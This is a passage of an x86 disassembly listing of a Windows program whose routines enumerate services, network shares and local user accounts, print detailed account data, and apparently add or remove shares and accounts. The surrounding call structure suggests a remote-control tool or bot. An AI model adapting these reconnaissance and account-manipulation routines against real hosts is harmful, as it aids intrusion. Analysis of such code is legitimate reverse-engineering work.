byte_4126D0 db 0, 9, 1, 2 ; DATA XREF: sub_412564+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4126E2 proc near ; CODE XREF: sub_403038+2648p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_44533C
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 14h
loc_41271A: ; CODE XREF: sub_4126E2+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_445308
test eax, eax
jnz short loc_412754
nop
call near ptr 26908EFh
cmp eax, 0EAh
jnz loc_412808
loc_412754: ; CODE XREF: sub_4126E2+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_4127FF
lea esi, [ebp+var_188]
loc_412765: ; CODE XREF: sub_4126E2+117j
mov eax, [esi+8]
dec eax
jz short loc_4127AE
dec eax
jz short loc_4127A7
dec eax
jz short loc_4127A0
dec eax
jz short loc_412799
dec eax
jz short loc_412792
dec eax
jz short loc_41278B
dec eax
jz short loc_412784
push offset aUnknown_1 ; " Unknown"
jmp short loc_4127B3
; ---------------------------------------------------------------------------
loc_412784: ; CODE XREF: sub_4126E2+99j
push offset aPaused_0 ; " Paused"
jmp short loc_4127B3
; ---------------------------------------------------------------------------
loc_41278B: ; CODE XREF: sub_4126E2+96j
push offset aPausing ; " Pausing"
jmp short loc_4127B3
; ---------------------------------------------------------------------------
loc_412792: ; CODE XREF: sub_4126E2+93j
push offset aContinuing ; " Continuing"
jmp short loc_4127B3
; ---------------------------------------------------------------------------
loc_412799: ; CODE XREF: sub_4126E2+90j
push offset aRunning ; " Running"
jmp short loc_4127B3
; ---------------------------------------------------------------------------
loc_4127A0: ; CODE XREF: sub_4126E2+8Dj
push offset aStoping ; " Stoping"
jmp short loc_4127B3
; ---------------------------------------------------------------------------
loc_4127A7: ; CODE XREF: sub_4126E2+8Aj
push offset aStarting ; " Starting"
jmp short loc_4127B3
; ---------------------------------------------------------------------------
loc_4127AE: ; CODE XREF: sub_4126E2+87j
push offset aStopped ; " Stopped"
loc_4127B3: ; CODE XREF: sub_4126E2+A0j
; sub_4126E2+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_4171D0
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_1 ; "%s: %s (%s)"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_412765
loc_4127FF: ; CODE XREF: sub_4126E2+77j
cmp [ebp+var_8], ebx
jnz loc_41271A
loc_412808: ; CODE XREF: sub_4126E2+6Cj
push [ebp+var_C]
call dword_445240
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_4126E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41281F proc near ; CODE XREF: sub_403038+2728p
; sub_403038+273Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_4128B8
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_412848
dec eax
jnz short loc_412898
push edi
push 0
call sub_4129F1
pop ecx
pop ecx
jmp short loc_412894
; ---------------------------------------------------------------------------
loc_412848: ; CODE XREF: sub_41281F+18j
cmp [ebp+arg_8], 0
jnz short loc_412886
push 24h
push edi
call sub_4185C0
pop ecx
test eax, eax
pop ecx
jnz short loc_412886
push 57h
pop eax
loc_41285F: ; CODE XREF: sub_41281F+77j
push eax
call sub_4131C9
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DA8DC
push off_4422D8[eax*4]
push offset unk_442960
push esi
call sub_4171D0
add esp, 18h
jmp short loc_4128D8
; ---------------------------------------------------------------------------
loc_412886: ; CODE XREF: sub_41281F+2Dj
; sub_41281F+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_412945
add esp, 0Ch
loc_412894: ; CODE XREF: sub_41281F+27j
test eax, eax
jnz short loc_41285F
loc_412898: ; CODE XREF: sub_41281F+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DA8DC
push off_4422DC[eax*4]
push offset dword_442944
push esi
call sub_4171D0
add esp, 10h
jmp short loc_4128D8
; ---------------------------------------------------------------------------
loc_4128B8: ; CODE XREF: sub_41281F+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DA8DC
lea eax, [eax+eax*2]
push off_4422D8[eax*4]
push offset unk_44298C
push esi
call sub_4171D0
add esp, 0Ch
loc_4128D8: ; CODE XREF: sub_41281F+65j
; sub_41281F+97j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_41281F endp
; ---------------------------------------------------------------------------
push esi
xor esi, esi
cmp [esp+8], esi
jnz short loc_4128EB
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4128EB: ; CODE XREF: ___:004128E5j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_4DD330
push esi
push 0FFFFFFFFh
mov ebx, 400h
push dword ptr [esp+28h]
push ebx
push esi
call edi
test byte_4DAADC, 1
mov ebp, eax
jnz short loc_412928
or byte_4DAADC, 1
lea eax, [ebp+1]
push eax
call sub_419BB0
pop ecx
mov dword_4DA87C, eax
loc_412928: ; CODE XREF: ___:00412910j
push esi
push esi
push ebp
push dword_4DA87C
push 0FFFFFFFFh
push dword ptr [esp+28h]
push ebx
push esi
call edi
mov eax, dword_4DA87C
pop edi
pop ebp
pop ebx
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412945 proc near ; CODE XREF: sub_41281F+6Dp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_4129B0
push [ebp+arg_4]
mov edi, eax
call sub_4129B0
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_4185C0
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_4129B0
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_44523C
pop edi
leave
retn
sub_412945 endp
; =============== S U B R O U T I N E =======================================
sub_4129B0 proc near ; CODE XREF: sub_412945+Ap
; sub_412945+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_4129BD
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4129BD: ; CODE XREF: sub_4129B0+9j
push ebx
push esi
mov esi, dword_4DD3A8
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_419BB0
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_4129B0 endp
; =============== S U B R O U T I N E =======================================
sub_4129F1 proc near ; CODE XREF: sub_41281F+20p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4129B0
push [esp+8+arg_4]
mov esi, eax
call sub_4129B0
pop ecx
pop ecx
push 0
push eax
push esi
call dword_445214
pop esi
retn
sub_4129F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A14 proc near ; CODE XREF: sub_403038+276Ap
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_4129B0
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 18h
loc_412A4D: ; CODE XREF: sub_412A14+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_44528C
mov ebx, eax
cmp ebx, esi
jz short loc_412AB0
cmp ebx, 0EAh
jz short loc_412AB0
push ebx
push ebx
call sub_4131C9
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_442A08
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 24h
jmp short loc_412B1D
; ---------------------------------------------------------------------------
loc_412AB0: ; CODE XREF: sub_412A14+5Dj
; sub_412A14+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_412B14
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_412ABE: ; CODE XREF: sub_412A14+FCj
push dword ptr [esi+10h]
call dword_445230
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_412AD5
mov eax, offset aNo ; "No"
loc_412AD5: ; CODE XREF: sub_412A14+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_412ABE
xor esi, esi
loc_412B14: ; CODE XREF: sub_412A14+A2j
push [ebp+var_4]
call dword_4453D8
loc_412B1D: ; CODE XREF: sub_412A14+9Aj
cmp ebx, 0EAh
jz loc_412A4D
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_412A14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B35 proc near ; CODE XREF: sub_403038+27BDp
; sub_403038+27E4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_412BD9
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_412B77
dec eax
jz short loc_412B6C
dec eax
jnz short loc_412B92
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_412C7B
add esp, 14h
jmp short loc_412B8E
; ---------------------------------------------------------------------------
loc_412B6C: ; CODE XREF: sub_412B35+1Dj
push ebx
push edi
call sub_412C5A
pop ecx
pop ecx
jmp short loc_412B8E
; ---------------------------------------------------------------------------
loc_412B77: ; CODE XREF: sub_412B35+1Aj
cmp [ebp+arg_8], edi
jz short loc_412B8B
push [ebp+arg_8]
push ebx
push edi
call sub_412C00
add esp, 0Ch
jmp short loc_412B8E
; ---------------------------------------------------------------------------
loc_412B8B: ; CODE XREF: sub_412B35+45j
push 57h
pop eax
loc_412B8E: ; CODE XREF: sub_412B35+35j
; sub_412B35+40j ...
cmp eax, edi
jnz short loc_412BB2
loc_412B92: ; CODE XREF: sub_412B35+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DAAE0
push off_4422DC[eax*4]
push offset unk_442A30
push esi
call sub_4171D0
add esp, 10h
jmp short loc_412BF9
; ---------------------------------------------------------------------------
loc_412BB2: ; CODE XREF: sub_412B35+5Bj
push eax
call sub_4131C9
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DAAE0
push off_4422D8[eax*4]
push offset unk_442A50
push esi
call sub_4171D0
add esp, 18h
jmp short loc_412BF9
; ---------------------------------------------------------------------------
loc_412BD9: ; CODE XREF: sub_412B35+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DAAE0
lea eax, [eax+eax*2]
push off_4422D8[eax*4]
push offset unk_442A80
push esi
call sub_4171D0
add esp, 0Ch
loc_412BF9: ; CODE XREF: sub_412B35+7Bj
; sub_412B35+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_412B35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412C00 proc near ; CODE XREF: sub_412B35+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_4129B0
push [ebp+arg_4]
mov edi, eax
call sub_4129B0
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_4129B0
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_445220
pop edi
leave
retn
sub_412C00 endp
; =============== S U B R O U T I N E =======================================
sub_412C5A proc near ; CODE XREF: sub_412B35+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4129B0
push [esp+8+arg_4]
mov esi, eax
call sub_4129B0
pop ecx
pop ecx
push eax
push esi
call dword_445210
pop esi
retn
sub_412C5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412C7B proc near ; CODE XREF: sub_412B35+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_4129B0
push [ebp+arg_4]
mov esi, eax
call sub_4129B0
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4453A0
test eax, eax
mov [ebp+arg_0], eax
jnz loc_413008
mov eax, [ebp+var_4]
test eax, eax
jz loc_413043
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_4171D0
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_412D94
dec eax
jz short loc_412D8D
dec eax
jz short loc_412D86
mov eax, offset aUnknown_0 ; "Unknown"
jmp short loc_412D99
; ---------------------------------------------------------------------------
loc_412D86: ; CODE XREF: sub_412C7B+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_412D99
; ---------------------------------------------------------------------------
loc_412D8D: ; CODE XREF: sub_412C7B+FFj
mov eax, offset aUser_0 ; "User"
jmp short loc_412D99
; ---------------------------------------------------------------------------
loc_412D94: ; CODE XREF: sub_412C7B+FCj
mov eax, offset aGuest ; "Guest"
loc_412D99: ; CODE XREF: sub_412C7B+109j
; sub_412C7B+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_4171D0
push 1
loc_412F4C: ; DATA XREF: ___:off_443704o
; ___:off_443708o
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_401445
add esp, 20h
pop edi
pop ebx
jmp short loc_413034
; ---------------------------------------------------------------------------
loc_413008: ; CODE XREF: sub_412C7B+35j
push eax
lea eax, [ebp+var_204]
push offset unk_442C30
push eax
call sub_4171D0
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_401445
add esp, 20h
loc_413034: ; CODE XREF: sub_412C7B+38Bj
cmp [ebp+var_4], 0
jz short loc_413043
push [ebp+var_4]
call dword_4453D8
loc_413043: ; CODE XREF: sub_412C7B+40j
; sub_412C7B+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_412C7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413049 proc near ; CODE XREF: sub_403038+2821p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4129B0
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 18h
loc_413088: ; CODE XREF: sub_413049+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4452A8
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4130E9
cmp eax, 0EAh
jz short loc_4130E9
push eax
push eax
call sub_4131C9
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_442CAC
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 24h
jmp short loc_413164
; ---------------------------------------------------------------------------
loc_4130E9: ; CODE XREF: sub_413049+62j
; sub_413049+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_413177
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_413164
loc_4130FB: ; CODE XREF: sub_413049+EDj
cmp edi, esi
jz short loc_41313A
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_34 ; " %S"
push eax
call sub_4171D0
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_4130FB
jmp short loc_413164
; ---------------------------------------------------------------------------
loc_41313A: ; CODE XREF: sub_413049+B4j
lea eax, [ebp+var_218]
push offset unk_442C78
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 1Ch
loc_413164: ; CODE XREF: sub_413049+9Ej
; sub_413049+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_413177
push edi
call dword_4453D8
xor edi, edi
mov [ebp+var_4], edi
loc_413177: ; CODE XREF: sub_413049+A5j
; sub_413049+120j
cmp [ebp+var_C], 0EAh
jz loc_413088
cmp edi, esi
jz short loc_41318F
push edi
call dword_4453D8
loc_41318F: ; CODE XREF: sub_413049+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_4171D0
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401445
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_413049 endp
; =============== S U B R O U T I N E =======================================
sub_4131C9 proc near ; CODE XREF: sub_41281F+41p
; sub_412A14+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_41327B
jz loc_413274
cmp eax, 7Bh
ja short loc_413240
jz short loc_413236
cmp eax, 5
jz short loc_41322C
cmp eax, 8
jz short loc_413222
cmp eax, 32h
jz short loc_413218
cmp eax, 35h
jz short loc_41320E
cmp eax, 57h
jnz loc_4132CA
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_4132EB
; ---------------------------------------------------------------------------
loc_41320E: ; CODE XREF: sub_4131C9+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_4132EB
; ---------------------------------------------------------------------------
loc_413218: ; CODE XREF: sub_4131C9+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_4132EB
; ---------------------------------------------------------------------------
loc_413222: ; CODE XREF: sub_4131C9+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_4132EB
; ---------------------------------------------------------------------------
loc_41322C: ; CODE XREF: sub_4131C9+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_4132EB
; ---------------------------------------------------------------------------
loc_413236: ; CODE XREF: sub_4131C9+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_4132EB
; ---------------------------------------------------------------------------
loc_413240: ; CODE XREF: sub_4131C9+1Aj
sub eax, 7Ch
jz short loc_41326D
sub eax, 7C8h
jz short loc_413266
dec eax
jz short loc_41325C
dec eax
jnz short loc_4132CA
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_4132EB
; ---------------------------------------------------------------------------
loc_41325C: ; CODE XREF: sub_4131C9+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_4132EB
; ---------------------------------------------------------------------------
loc_413266: ; CODE XREF: sub_4131C9+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_41326D: ; CODE XREF: sub_4131C9+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_413274: ; CODE XREF: sub_4131C9+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_41327B: ; CODE XREF: sub_4131C9+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_4132B4
jz short loc_4132AD
sub eax, 8ADh
jz short loc_4132DF
dec eax
dec eax
jz short loc_4132A6
dec eax
jz short loc_41329F
dec eax
dec eax
jnz short loc_4132CA
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_41329F: ; CODE XREF: sub_4131C9+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_4132A6: ; CODE XREF: sub_4131C9+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_4132AD: ; CODE XREF: sub_4131C9+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_4132B4: ; CODE XREF: sub_4131C9+B9j
sub eax, 8CAh
jz short loc_4132E6
sub eax, 17h
jz short loc_4132DF
sub eax, 25h
jz short loc_4132D8
sub eax, 29h
jz short loc_4132D1
loc_4132CA: ; CODE XREF: sub_4131C9+35j
; sub_4131C9+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_4132D1: ; CODE XREF: sub_4131C9+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_4132EB
; ---------------------------------------------------------------------------
loc_4132D8: ; CODE XREF: sub_4131C9+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_4132EB
